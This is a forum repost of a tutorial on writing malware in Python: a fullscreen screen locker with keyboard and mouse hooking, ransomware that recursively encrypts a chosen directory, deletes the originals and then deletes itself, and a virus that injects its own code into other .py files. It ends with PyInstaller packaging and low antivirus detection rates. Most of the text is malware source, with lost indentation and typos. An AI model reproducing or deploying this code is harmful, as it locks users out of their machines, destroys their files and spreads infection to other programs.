Poisonous python. Writing the simplest malware in Python: a locker, ransomware, and a virus

  • Thread Author
07CEpKedGBo.jpg


The content of the article
  • Setting up the environment
  • Locker
  • Cryptographer
  • Virus
  • Making an executable file
  • Conclusion
Why would anyone want to write malware in Python? We'll do this to learn the general principles of malware development, and at the same time you will practice using this language and be able to apply the knowledge gained for other purposes. In addition, Python malware does come across in the wild, and not all antiviruses pay attention to it.

Most often, Python is used to create backdoors in software in order to download and execute any code on an infected machine. So, in 2017, employees of the Dr.Web company discovered Python.BackDoor.33, and on May 8, 2019, Mac.BackDoor.Siggen.20 was spotted. Another Trojan, RAT Python, stole user data from infected devices and used Telegram as a data transfer channel.

We will create three demo programs: a locker that will block access to the computer until the user enters the correct password, an encryptor that will bypass directories and encrypt all files in them, and a virus that will distribute its code, infecting other programs. in Python.

INFO
The topic of remote administration of infected machines is beyond the scope of this article, but you can get a basic code base with all the explanations in the article " Reverse shell in Python".

Despite the fact that our creations do not claim to be of any high technical level, they can be dangerous under certain conditions. Therefore, I warn you that severe punishment may follow for disrupting other people's computers and destroying information. Let's agree right away: you will only run everything that we describe here on your own machine, and even then be careful not to accidentally encrypt the entire disk for yourself.

All information is provided for informational purposes only. Neither the author nor the editors are responsible for any possible harm caused by the materials of this article.
Setting up the environment
So, first of all, of course, we need Python itself, and the third version. I will not describe in detail how to install it, but I will immediately send you to download the free book "Python Bite" (PDF). In it you will find the answer to this and many other Python-related questions.

Additionally, we will install several modules that we will use:
Code:
pip install pyAesCrypt
pip install pyautogui
pip install tkinter
This completes the preparatory stage, you can start writing the code.

Locker
The idea is to create a full screen window and prevent the user from closing it.

Importing libraries:
Code:
import pyautogui
from tkinter import Tk, Entry, Label
from pyautogu coi import click, moveTo
from time import sleep
Now let's get down to the main part of the program.

Code:
# Create a window
root = Tk ()
# Cut out the protection of the upper left corner of the screen
pyautogui.FAILSAFE = False
# Get the width and height of the window
width = root.winfo_screenwidth ()
height = root.winfo_screenheight ()
# Set the title of the window
root.title ('From "Xakep" with love')
# Open the window to full screen
root.attributes ("- fullscreen", True)
# Create an input field, set its size and location
entry = Entry (root, font = 1)
entry.place (width = 150, height = 50, x = width / 2-75, y = height / 2-25)
# Create text labels and set their location
label0 = Label (root, text = "╚ (• ⌂ •) ╝ Locker by Xakep (╯ ° □ °) ╯︵ ┻━┻", font = 1)
label0.grid (row = 0, column = 0)
label1 = Label (root, text = "Write the password and press Ctrl + C", font = 'Arial 20')
label1.place (x = width / 2-75-130, y = height / 2-25-100)
# Turn on the constant update of the window and pause
root.update ()
sleep (0.2)
# Click on the center of the window
click (width / 2, height / 2)
# reset the key
k = False
# Now we continuously check if the correct key has been entered
# If entered, call the hooliganism function
while not k:
on_closing ()
Here pyautogui.FAILSAFE = Falseis the protection that is activated when you move the cursor to the upper left corner of the screen. When it is triggered, the program is closed. We do not need this, so we disable this function.

To make our locker work on any monitor with any resolution, we read the width and height of the screen and, using a simple formula, calculate where the cursor will go, click, and so on. In our case, the cursor hits the center of the screen, that is, we divide the width and height by two. We will sleepadd a pause ( ) so that the user can enter the code to cancel.

Now we have not blocked the input of text, but you can do it, and then the user will not get rid of us in any way. To do this, we will write some more code. I do not advise you to do it right away. First, let's configure the program so that it turns off when you enter a password. But the code for blocking the keyboard and mouse looks like this:
Code:
import pythoncom, pyHook

hm = pyHook.HookManager ()
hm.MouseAll = uMad
hm.KeyAll = uMad
hm.HookMouse ()
hm.HookKeyboard ()
pythoncom.PumpMessages ()
Let's create a function for entering the key:
Code:
def callback (event):
global k, entry
if entry.get () == "xakep":
k = True
Everything is simple here. If the key is not the one we specified, the program continues to run. If the passwords match, we slow down.

The last function that is needed for the pest window to work:
Code:
def on_closing ():
# Click on the center of the screen
click (width / 2, height / 2)
# Move the mouse cursor to the center of the screen
moveTo (width / 2, height / 2)
# Turn on full screen mode
root.attributes ("- fullscreen", True)
# When trying to close the window using the task manager, call on_closing
root.protocol ("WM_DELETE_WINDOW", on_closing)
# Enable constant window updates
root.update ()
# Add a keyboard shortcut that will close the program
root.bind ('<Control-KeyPress-c>', callback)
At this point, our impromptu locker is ready.

Cryptographer
We will write this virus using only one third-party library - pyAesCrypt. The idea is to encrypt all files in the specified directory and all directories below. This is an important limitation to avoid breaking the operating system. For work, we will create two files - an encryptor and a decryptor. After work, the executable files will be self-deleted.

First, we request the path to the attacked directory and the password for encryption and decryption:
Code:
direct = input ("Write the attacked directory:")
password = input ("Enter password:")
Next, we will generate scripts for encryption and decryption. It looks something like this:
Code:
with open ("Crypt.py", "w") as crypt:
crypt.write ('' '
program text
'' ')
Moving on to the files that we will use as templates. Let's start with the encoder. We need two standard libraries:
Code:
import os
import sys
We write the encryption function (all according to the pyAesCrypt manual):

Code:
def crypt (file):
import pyAesCrypt
print ('-' * 80)
# Set the password and buffer size
password = "'' '+ str (password) +' ''"
buffer_size = 512 * 1024
# Call the encryption function
pyAesCrypt.encryptFile (str (file), str (file) + ".crp", password, buffer_size)
print ("[Encrypt] '" + str (file) + ". crp'")
# Delete the original file
os.remove (file)
Instead of str (password), the script generator will insert the password.

Important nuances. We will encrypt and decrypt using a buffer, thus we will get rid of the limitation on the file size (at least, we will significantly reduce this limitation). The call is os.remove(file)needed to delete the original file, since we copy the file and encrypt the copy. You can choose to copy the file instead of deleting it.

Now a function that bypasses folders. Nothing complicated here either.

Code:
def walk (dir):
# Loop over all subfolders in the specified folder
for name in os.listdir (dir):
path = os.path.join (dir, name)
# If it's a file, encrypt it
if os.path.isfile (path):
crypt (path)
# If it's a folder, repeat recursively
else:
walk (path)
Let's add two more lines at the end. One for starting a bypass, the second for self-destructing the program.

Code:
walk ("'' '+ str (direct) +' ''")
os.remove (str (sys.argv [0]))
The desired path will be substituted here again.

Here is the entire source.

Code:
import os
import sys

def crypt (file):
import pyAesCrypt
print ('-' * 80)
password = "'" + str (password) + "'"
buffer_size = 512 * 1024
pyAesCrypt.encryptFile (str (file), str (file) + ".crp", password, buffer_size)
print ("[Encrypt] '" + str (file) + ". crp'")
os.remove (file)

def walk (dir):
for name in os.listdir (dir):
path = os.path.join (dir, name)
if os.path.isfile (path):
crypt (path)
else:
walk (path)

walk ("'' '+ str (direct) +' ''")
print ('-' * 80)
os.remove (str (sys.argv [0]))
Now the "mirrored" file. If in the ransomware we wrote encrypt, then in the decryptor we write decrypt. There is no point in repeating the parsing of the same lines, so the final version is right away.

Code:
import os
import sys

# Decryption function
def decrypt (file):
import pyAesCrypt
print ('-' * 80)
password = "'' '+ str (password) +' ''"
buffer_size = 512 * 1024
pyAesCrypt.decryptFile (str (file), str (os.path.splitext (file) [0]), password, buffer_size)
print ("[Decrypt] '" + str (os.path.splitext (file) [0]) + "'")
os.remove (file)

# Directory traversal
def walk (dir):
for name in os.listdir (dir):
path = os.path.join (dir, name)
if os.path.isfile (path):
try:
decrypt (path)
except Error:
pass
else:
walk (path)

walk ("'' '+ str (direct) +' ''")
print ('-' * 80)
os.remove (str (sys.argv [0]))
A total of 29 lines, of which it took three to decipher. In case one of the files suddenly turns out to be damaged and an error occurs, we use the exception catch ( try...except). That is, if we fail to decrypt the file, we just skip it.

Virus
The idea here is to create a program that will infect other programs with the specified extension. Unlike real viruses that infect any executable file, ours will only infect other Python programs.

This time we don't need any third-party libraries, we only need the sys and os modules. We connect them.
Code:
import sys
import os
Let's create three functions: message, parser, infection.

The function that reports the attack:
Code:
def code (void):
print ("Infected")
Let's call it right away to understand that the program has worked:
Code:
code (None)
Directory traversal is similar to what we did in the ransomware.

Code:
def walk (dir):
for name in os.listdir (dir):
path = os.path.join (dir, name)
# If you find a file, check its extension
if os.path.isfile (path):
# If the extension is py, call virus
if (os.path.splitext (path) [1] == ".py"):
virus (path)
else:
pass
else:
# If it's a directory, go to it
walk (path)
In theory, we could poison the sources in other languages in the same way, adding the code in these languages to the files with the appropriate extensions. And on Unix-like systems, scripts in Bash, Ruby, Perl and the like can simply be replaced with Python scripts by correcting the path to the interpreter in the first line.
The virus will infect files "down" from the directory where it is located (we get the path by calling os.getcwd()).

At the beginning and at the end of the file, we write the following comments:
Code:
# START #
# STOP #
I'll explain why a little later.

Next is the function that is responsible for self-replication.

Code:
def virus (python):
begin = "# START # \ n"
end = "# STOP # \ n"
# Read the attacked file, let's call it copy
with open (sys.argv [0], "r") as copy:
# Create a flag
k = 0
# Create a variable for the virus code and add an empty line
virus_code = "\ n"
# We go through the infected file line by line
for line in copy:
# If we find a start marker, raise the flag
if line == begin:
k = 1
# Add a marker to the infected code
virus_code + = begin
# If we go through the beginning, but do not reach the end, copy the line
elif k == 1 and line! = end:
virus_code + = line
# If we have reached the end, add the final marker and exit the loop
elif line == end:
virus_code + = end
break
else:
pass
# Read the infected file again
with open (python, "r") as file:
# Create a variable for the source code
original_code = ""
# Copy the infected code line by line
for line in file:
original_code + = line
# If we find a marker of the beginning of the virus, stop and raise the vir flag
if line == begin:
vir = True
break
# If there is no marker, omit the vir flag
else:
vir = False
# If vir is omitted, write virus and source code to file
if not vir:
with open (python, "w") as paste:
paste.write (virus_code + "\ n \ n" + original_code)
else:
pass
Now, I think, it has become clearer why we need “start” and “stop” labels. They mark the beginning and end of the virus code. First, we read the file and go through it line by line. When we come across the starting mark, we raise the flag. Add an empty line so that the virus in the source code starts on a new line. We read the file a second time and write the source code line by line. The last step is to write a virus, two indents and the original code. You can make fun of it and write it in some special way - for example, modify all output lines.

Making an executable file
How to run a virus written in a scripting language on a victim's machine? There are two ways: either to somehow make sure that the interpreter is installed there, or to pack our creation along with everything you need into a single executable file. The PyInstaller utility serves this purpose. Here's how to use it.

Install
Code:
pip install PyInstaller
And we enter the command
Code:
PyInstaller "filename.py" --onefile --noconsole
We wait a bit, and a bunch of files appear in the program folder. You can safely get rid of everything except executables, they will be in the dist folder.

It is said that ever since malware in Python began to appear, antiviruses have become extremely nervous about PyInstaller, even if it comes with a perfectly safe program.

I decided to check what VirusTotal has to say about my creations. Here are the reports:
  • 12 out of 72 antiviruses did not like the Crypt.exe file;
  • Locker.exe file - 10 out of 72 antiviruses;
  • file Virus.exe - 23 out of 72 antiviruses.
The worst result was shown by Virus.exe - either some antiviruses paid attention to self-replication, or they just didn't like the name of the file. But as you can see, the contents of any of these files have not alerted all antiviruses.

Conclusion
So, we wrote three malicious programs using a scripting language and packaged them using PyInstaller.

Of course, our virus is not the scariest one in the world, and the locker and ransomware still need to somehow be delivered to the victim's car. At the same time, none of our programs communicate with the C & C server and I have not obfuscated the code at all, so there is still a huge scope for creativity.

Nevertheless, the level of detection by antiviruses turned out to be surprisingly low. It turns out that even the simplest self-written malware can become a threat. So antiviruses are antiviruses, but it will always be unsafe to download random programs from the Internet and run them without thinking.
 
Top